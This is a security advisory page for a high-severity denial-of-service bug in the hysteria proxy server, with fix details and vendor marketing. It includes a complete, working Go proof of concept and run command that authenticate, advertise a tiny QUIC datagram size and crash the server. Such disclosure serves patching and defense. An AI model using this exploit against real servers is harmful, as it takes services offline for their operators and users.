GHSA-qh5x-rfwf-rvfv — hysteria
HIGHGHSA-qh5x-rfwf-rvfv is a high-severity (CVSS 7.5) vulnerability in github.com/apernet/hysteria. A fix is available for github.com/apernet/hysteria — see the affected versions and patch details below.
Hysteria vulnerable to server crash when max_datagram_frame_size very small
Real-World Exposure
github.com/apernet/hysteriaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authenticated client can crash the Hysteria server by advertising a very small QUIC max_datagram_frame_size and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns DatagramTooLargeError. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.
Details
The vulnerable path is the normal server-side UDP response path:
udpSessionEntry.receiveLoop
-> sendMessageAutoFrag
-> frag.FragUDPMessage
In core/server/udp.go, receiveLoop packages a UDP response into a protocol.UDPMessage and calls sendMessageAutoFrag. If SendDatagram fails with quic.DatagramTooLargeError, sendMessageAutoFrag calls:
fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))
However, FragUDPMessage in core/internal/frag/frag.go assumes that maxSize is greater than the UDP message header size:
maxPayloadSize := maxSize - m.HeaderSize()
If an attacker-controlled client advertises a small enough max_datagram_frame_size, errTooLarge.MaxDatagramPayloadSize can be smaller than m.HeaderSize(). In that case, maxPayloadSize becomes zero or negative, and the later slicing operation panics:
frag.Data = fullPayload[off : off+payloadSize]
PoC
poc.yaml
listen: 127.0.0.1:8443
tls:
cert: poc_server.crt
key: poc_server.key
auth:
type: password
password: udp-frag-panic-poc
masquerade:
type: string
string:
content: nope
statusCode: 404
poc.go
//go:build poc
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/binary"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"time"
"github.com/apernet/quic-go"
"github.com/apernet/quic-go/http3"
"github.com/apernet/quic-go/quicvarint"
)
const (
authHost = "hysteria"
authPath = "/auth"
authOK = 233
)
func main() {
server := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
auth := flag.String("auth", "", "Hysteria auth/password")
target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server")
maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client")
insecure := flag.Bool("insecure", true, "skip TLS verification")
echo := flag.Bool("echo", true, "start a local UDP echo server on --target")
flag.Parse()
if *auth == "" {
panic("--auth is required")
}
if *echo {
closeEcho := startUDPEcho(*target)
defer closeEcho()
}
conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)
defer cleanup()
msg := hysteriaUDPMessage(1, *target, []byte("X"))
fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n",
*target, udpHeaderSize(*target), len(msg), *maxDatagram)
if err := conn.SendDatagram(msg); err != nil {
panic(fmt.Errorf("send trigger datagram: %w", err))
}
fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
if _, err := conn.ReceiveDatagram(ctx); err != nil {
fmt.Printf("[*] receive after trigger: %v\n", err)
} else {
fmt.Println("[!] received a response; try a smaller --max-datagram")
}
}
func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {
serverAddr, err := net.ResolveUDPAddr("udp", server)
if err != nil {
panic(err)
}
udpConn, err := net.ListenUDP("udp", nil)
if err != nil {
panic(err)
}
transport := &quic.Transport{Conn: udpConn}
var qconn *quic.Conn
rt := &http3.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},
QUICConfig: &quic.Config{
EnableDatagrams: true,
MaxDatagramFrameSize: maxDatagram,
DisablePathManager: true,
},
Dial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) {
qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg)
return qconn, err
},
}
req := &http.Request{
Method: http.MethodPost,
Host: authHost,
URL: &url.URL{Scheme: "https", Host: authHost, Path: authPath},
Header: http.Header{},
Body: io.NopCloser(bytes.NewReader(nil)),
}
req.Header.Set("Hysteria-Auth", auth)
req.Header.Set("Hysteria-CC-RX", "0")
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
resp, err := rt.RoundTrip(req.WithContext(ctx))
if err != nil {
panic(err)
}
defer resp.Body.Close()
if resp.StatusCode != authOK {
panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode))
}
if resp.Header.Get("Hysteria-UDP") == "false" {
panic("server reports UDP disabled")
}
cleanup := func() {
_ = rt.Close()
_ = transport.Close()
_ = udpConn.Close()
if qconn != nil {
_ = qconn.CloseWithError(0, "")
}
}
return qconn, cleanup
}
func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte {
buf := make([]byte, udpHeaderSize(addr)+len(data))
binary.BigEndian.PutUint32(buf[0:4], sessionID)
// PacketID=0, FragID=0, FragCount=1.
buf[7] = 1
i := len(quicvarint.Append(buf[:8], uint64(len(addr))))
i += copy(buf[i:], addr)
copy(buf[i:], data)
return buf
}
func udpHeaderSize(addr string) int {
return 8 + quicvarint.Len(uint64(len(addr))) + len(addr)
}
func startUDPEcho(addr string) func() {
pc, err := net.ListenPacket("udp", addr)
if err != nil {
panic(fmt.Errorf("start UDP echo on %s: %w", addr, err))
}
fmt.Printf("[*] UDP echo listening on %s\n", pc.LocalAddr())
go func() {
buf := make([]byte, 2048)
for {
n, raddr, err := pc.ReadFrom(buf)
if err != nil {
return
}
_, _ = pc.WriteTo(buf[:n], raddr)
}
}()
return func() { _ = pc.Close() }
}
poc.sh
go run -tags poc ./poc_udp_frag_panic.go \
--server 127.0.0.1:8443 \
--auth udp-frag-panic-poc \
--insecure \
--target 127.0.0.1:19090 \
--max-datagram 20
Impact
Server crash
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/apernet/hysteria | all versions | 2.9.2go get github.com/apernet/hysteria@v2.9.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/apernet/hysteria, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/apernet/hysteria to 2.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qh5x-rfwf-rvfv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qh5x-rfwf-rvfv can be triaged on real exposure rather than presence alone.
Tailored to GHSA-qh5x-rfwf-rvfv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qh5x-rfwf-rvfv in your dependencies?
O3 Security finds GHSA-qh5x-rfwf-rvfv across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.